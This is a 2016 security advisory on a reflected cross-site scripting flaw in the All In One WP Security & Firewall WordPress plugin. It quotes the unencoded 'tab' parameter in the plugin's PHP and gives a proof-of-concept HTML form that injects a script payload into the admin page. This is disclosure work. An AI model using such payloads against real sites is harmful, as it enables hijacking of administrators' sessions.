WordPress All In One WP Security And Firewall 4.1.9 Cross Site Scripting

2016.11.17
Credit: Yorick Koster
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

------------------------------------------------------------------------ Cross-Site Scripting in All In One WP Security & Firewall WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the All In One WP Security & Firewall Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160731-0003 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ These issues were successfully tested on the All In One WP Security & Firewall WordPress Plugin version 4.1.4 - 4.1.9. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue has been addressed in All In One WP Security & Firewall version 4.2.0. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_all_in_one_wp_security___firewall_wordpress_plugin.html This issue exists in the file admin/wp-security-dashboard-menu.php and is caused due to the lack of output encoding on the tab request parameter. <div class="inside"> <?php //Fetch, prepare, sort, and filter our data... $locked_ip_list->prepare_items(); //echo "put table of locked entries here"; ?> <form id="tables-filter" method="get" onSubmit="return confirm('Are you sure you want to perform this bulk operation on the selected entries?');"> <!-- For plugins, we also need to ensure that the form posts back to our current page --> <input type="hidden" name="page" value="<?php echo esc_attr($_REQUEST['page']); ?>"/> <?php if (isset($_REQUEST["tab"])) { echo '<input type="hidden" name="tab" value="' . $_REQUEST["tab"] . '" />'; } ?> <!-- Now we can render the completed list table --> <?php $locked_ip_list->display(); ?> </form> </div> In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=aiowpsec&tab=tab3" method="POST"> <input type="hidden" name="tab" value="&quot;&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.


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